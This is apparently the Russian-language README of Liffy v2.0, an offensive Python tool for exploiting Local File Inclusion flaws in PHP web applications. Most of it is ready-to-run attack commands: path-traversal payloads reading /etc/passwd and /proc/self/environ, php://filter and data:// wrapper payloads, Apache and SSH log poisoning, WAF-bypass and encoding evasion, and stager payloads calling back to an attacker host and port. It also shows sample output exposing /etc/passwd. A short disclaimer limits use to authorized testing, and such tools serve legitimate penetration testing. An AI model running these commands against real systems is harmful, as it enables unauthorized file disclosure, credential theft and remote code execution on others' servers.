
Инструмент для эксплуатации локального включения файлов

Мощный Python-инструмент для эксплуатации Local File Inclusion (LFI) с расширенными возможностями, включая обход WAF, методы кодирования и всестороннее обнаружение уязвимостей.
Liffy v2.0 — значительно улучшенная версия liffy, первоначально созданного rotlogix/liffy. Эта версия включает современные функции, такие как Rich-вывод в терминал, YAML-конфигурацию, улучшенную многопоточность и множество продвинутых техник эксплуатации.
⚠️ Многие новые изменения были созданы с помощью виброкодинга.
Убедитесь, что вы используете Python 3. Liffy не поддерживает Python 2. В примерах ниже используется uv run python, чтобы команды выполнялись в окружении проекта.
# Установите uv, если ещё не сделали это
curl -LsSf https://astral.sh/uv/install.sh | sh
# Клонируйте репозиторий
git clone https://github.com/mzfr/liffy
cd liffy
# Создайте виртуальное окружение с помощью uv
uv venv
# Установите зависимости из pyproject.toml
uv sync
# Запустите liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [ОПЦИИ]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url URL для тестирования на LFI
Core Techniques:
-d, --data Использовать технику data://
-i, --input Использовать технику input://
-e, --expect Использовать технику expect://
-f, --filter Использовать технику filter://
-p, --proc Использовать технику /proc/self/environ
-a, --access Использовать технику журналов доступа Apache
--ssh Отравление SSH-журнала аутентификации
-dt, --directorytraverse Проверка на обход каталогов
--null-byte Проверка на атаку нулевым байтом
--zip Проверка на эксплуатацию ZIP-обёртки
--wrappers, --wrapper Обнаружение распространённых потоковых обёрток LFI
--wrapper-list WRAPPER_LIST
Путь к пользовательскому списку полезных нагрузок для обёрток
--oob Отправка внеполосных callback-зондов
--oob-url OOB_URL Базовый URL для внеполосного callback
--blind Запуск проверок слепого LFI по разнице ответов
--blind-list BLIND_LIST
Путь к пользовательскому списку зондов для слепого LFI
--auto Запуск безопасного автоматического плана сканирования
Advanced Options:
--encoding Использовать продвинутые техники кодирования/обхода
--waf-bypass Использовать техники обхода WAF
--method {GET,POST} HTTP-метод (по умолчанию: GET)
--post-data POST_DATA Данные POST (формат: key=value&key2=value2)
--headers HEADERS Пользовательские заголовки (формат: Header1:Value1,Header2:Value2)
--detection Только обнаружение LFI, без эксплуатации
Request Options:
--timeout TIMEOUT Таймаут HTTP-запроса в секундах
--proxy PROXY URL HTTP(S)-прокси, напр. http://127.0.0.1:8080
--verify-tls Проверять TLS-сертификаты вместо использования незащищённых запросов
--user-agent UA Пользовательский заголовок User-Agent
--delay DELAY Задержка между запросами в секундах
--retries RETRIES Количество повторных попыток HTTP-запроса
Automation Options:
--lhost LHOST Хост для callback для пошаговых полезных нагрузок
--lport LPORT Порт для callback для пошаговых полезных нагрузок
--read-file PATH Путь к файлу для чтения через filter://
-y, --yes Использовать значения по умолчанию для запросов и работать неинтерактивно
--json Печатать сводку выполнения в JSON
--output OUTPUT Записать сводку выполнения в JSON в файл
--quiet Подавить обычный вывод терминала
General Options:
-ns, --nostager Выполнить полезную нагрузку напрямую, без использования стажера
-r, --relative Использовать последовательности обхода пути для атаки
-l, --location LOCATION Путь к целевому файлу (журнал доступа, журнал аутентификации и т.д.)
--cookies COOKIES Сессионные куки для аутентификации
-t, --threads THREADS Количество потоков (по умолчанию: 5)
--no-color Отключить цветной вывод
--no-banner Отключить отображение баннера
--config Создать файл конфигурации YAML по умолчанию
Создайте файл конфигурации для постоянных настроек:
uv run python liffy.py --config
Это создаёт liffy_config.yaml с настройками по умолчанию:
# Файл конфигурации Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Установите disable_banner: true, чтобы по умолчанию скрывать стартовый баннер/логотип. Флаги CLI по-прежнему переопределяют значения конфигурации, поэтому вы также можете использовать --no-banner, --no-color или --quiet для одноразовых запусков.
Вы также можете использовать переменные окружения:
LIFFY_THREADS - Количество потоковLIFFY_RATE_LIMIT - Задержка ограничения частоты запросовLIFFY_NO_COLOR - Отключить цвета (true/false)При включённом --waf-bypass liffy автоматически применяет несколько методов уклонения:
/**/, #, ;file:///, pHp://./, ../, нулевые байтыС опцией --encoding liffy применяет продвинутые методы кодирования:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST с данными формы
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST с пользовательскими заголовками
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Отправка трафика через локальный прокси и повтор неудачных запросов
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Использование фиксированного User-Agent и пользовательской задержки запросов
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
Обнаружение обёрток использует безопасные зонды по умолчанию для file://, php://filter, data://, php://temp, php://memory и связанных обёрток. zip://, phar:// и glob:// рассматриваются как информационные/условные, поскольку обычно требуют файлов на стороне цели или поведения, раскрывающего списки.
Вы можете предоставить пользовательский список полезных нагрузок для обёрток. Если --wrapper-list опущен, liffy использует встроенные зонды:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Каждая непустая строка может быть либо необработанной полезной нагрузкой, либо name=payload:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Используйте это с приёмником HTTP/DNS callback. Liffy отправляет полезные нагрузки в стиле URL-обёрток, а вы проверяете, ответила ли цель обратным вызовом.
uv run python liffy.py "http://example.com/page.php?file=" --blind
Слепые проверки сравнивают зонды с существующими файлами с базовыми линиями случайных отсутствующих файлов и сообщают о различиях в статусе, длине или времени, когда содержимое не отображается напрямую.
Вы можете предоставить пользовательский список зондов для слепого LFI. Если --blind-list опущен или пуст, liffy использует встроенные зонды:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Каждая непустая строка может быть либо необработанной полезной нагрузкой, либо name=payload:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto включает обнаружение только обхода каталогов, проверок обёрток и слепых проверок. Если также указан --oob-url, он включает внеполосные зонды.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Следующие расположения по умолчанию используются, если не указан пользовательский путь:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logМы приветствуем вклад! Вот как вы можете помочь:
Не стесняйтесь открывать issue для любых вопросов или предложений!
Режим обнаружения Liffy предоставляет всесторонний анализ уязвимостей:
/etc/passwd[+] СВОДКА УЯЗВИМОСТЕЙ
==================================================
[1] Уязвимость найдена
Полезная нагрузка: ../../etc/passwd
Уверенность: 85%
Доказательство: Файл Linux /etc/passwd: root:
Код состояния: 200
Длина содержимого: 1547
# Используйте техники обхода WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Уменьшите количество потоков и увеличьте задержки
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Увеличьте задержку в файле конфигурации
max_threads: 2
rate_limit_delay: 1.0
Для подробного вывода вы можете изменить конфигурацию:
debug_mode: true
verbose_output: true
Liffy предназначен только для авторизованного тестирования безопасности.
Авторы не несут ответственности за неправильное использование этого инструмента.
Этот проект лицензирован в соответствии с GNU General Public License v3.0 — подробности см. в файле LICENSE.